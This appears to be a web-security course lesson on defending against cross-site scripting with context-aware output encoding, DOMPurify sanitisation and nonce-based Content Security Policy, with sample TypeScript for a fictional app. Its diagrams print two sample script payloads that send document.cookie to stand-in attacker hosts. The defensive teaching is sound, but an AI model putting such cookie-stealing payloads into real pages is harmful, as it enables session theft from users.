Skip to content
Back to CurriculumLesson 25 of 30
resilience-securityIntermediate

Cross-Site Scripting (XSS) Defenses: Context-Aware Output Encoding & Content Security Policy (CSP)

Cross-Site Scripting (XSS) allows attackers to execute malicious JavaScript in a victim's browser context, enabling DOM manipulation, keystroke logging, and session impersonation. Comprehensive defense requires context-aware output encoding (HTML, attribute, JS contexts) and a strict Content Security Policy (CSP) with cryptographic nonces.

Interactive Visual Concept ExplainerStep-by-Step Educational Simulation
Visual Step-by-Step Concept Explainerresilience-security
Cross-Site Scripting (XSS) Defenses: Context-Aware Output Encoding & Content Security Policy (CSP)
Steps:
Injected Malicious Script
<script>fetch('https://attacker.io/steal', { body: document.cookie })</script>
CSP Nonce Shield
Header: script-src 'nonce-rAnd0m123'
Browser refuses execution: Injected tag lacks cryptographic nonce!
Step 1 of 6
Auto-stepping (1x)

Step 1: Application receives user input and stores it safely in parameter-bound database columns.

Security Guarantee: Always perform context-aware output encoding when rendering user-controlled data into HTML.
Why This Architectural Concept Exists

Web applications process user-supplied input (comments, markdown notes, profiles). If unescaped HTML or script tags are rendered into the DOM, the browser executes the attacker's payload with the full authority and permissions of the legitimate user.

Intuitive Mental Model

The Intercom Filter & Guard Station: If an intruder shouts malicious verbal commands through your apartment intercom, context encoding converts the speech into inert text so the smart home system doesn't accidentally execute 'Unlock the front door'. Content Security Policy is the physical guard stationed at your router who shoots down any unauthorized network cable plugged into your wall.

Architectural System TopologyProtocol Diagram
[ Attacker Payload: <script>fetch('evil.com?c=' + document.cookie)</script> ]
       │
       ▼ (Stored in database comment)
[ Vulnerable Application ]: Directly writes to innerHTML ──► SCRIPT EXECUTES!
       │
[ Hardened CosmosApp Application ]:
       ├── Layer 1: Context-Aware HTML Encoding (DOMPurify / Escaping)
       │            Transforms to: &lt;script&gt;...&lt;/script&gt; (Rendered safely as text)
       │
       └── Layer 2: Content Security Policy (CSP)
                    script-src 'self' 'nonce-rAnd0m123';
                    Browser BLOCKS unauthorized inline scripts and external exfiltration!
CosmosApp Production Milestone

CosmosApp allows team members to format notes using rich Markdown. To eliminate Stored XSS, CosmosApp sanitizes all generated HTML using DOMPurify with an aggressive allowlist, and sets a strict HTTP Content-Security-Policy header using per-request cryptographic nonces, preventing any unauthorized inline script execution.

Step-by-Step Execution Sequence
01

Step 1: Application receives user input and stores it safely in parameter-bound database columns.

02

Step 2: Before rendering untrusted content, the application identifies the output context (HTML body, attribute, URL, JavaScript).

03

Step 3: Output encoding is applied specifically for that context (e.g. converting '<' to '&lt;').

04

Step 4: Server generates a unique cryptographic nonce per HTTP request.

05

Step 5: Server includes the nonce in the Content-Security-Policy header: script-src 'self' 'nonce-...'.

06

Step 6: Browser verifies script tags against the nonce; any injected script without the matching nonce is blocked.

Production Architecture Blueprint
import DOMPurify from 'isomorphic-dompurify';

// CosmosApp Safe HTML Sanitization & CSP Headers:
export function sanitizeUserHtml(dirtyHtml: string): string {
  return DOMPurify.sanitize(dirtyHtml, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li', 'code', 'pre'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });
}

export function generateCspHeader(nonce: string): string {
  return [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'unsafe-inline'`,
    `img-src 'self' data: https:`,
    `connect-src 'self' https://api.cosmos.app`,
    `frame-ancestors 'none'`,
    `base-uri 'self'`,
  ].join('; ');
}
Common Architectural Misconceptions
  • ✕HTML escaping alone protects against XSS in all contexts (Escaping '<' and '>' does not protect inside href attributes or inline JavaScript contexts like onclick).
  • ✕CSP replaces input sanitization (CSP is a secondary defense-in-depth layer; output encoding and sanitization remain mandatory).

Key Architectural Takeaways

  • ✓Always perform context-aware output encoding when rendering user-controlled data into HTML.
  • ✓Deploy a strict Content Security Policy (CSP) using cryptographic nonces to neutralize injected scripts.
  • ✓Sanitize rich HTML content using hardened libraries like DOMPurify.
Common Architectural Pitfall

Using dangerouslySetInnerHTML in React or element.innerHTML without prior cryptographic sanitization.

Production Best Practice Fix

Use safe React text nodes or sanitize untrusted HTML using DOMPurify before rendering.

Interactive Knowledge Check

Why does a nonce-based Content Security Policy (CSP) successfully prevent stored XSS attacks from executing?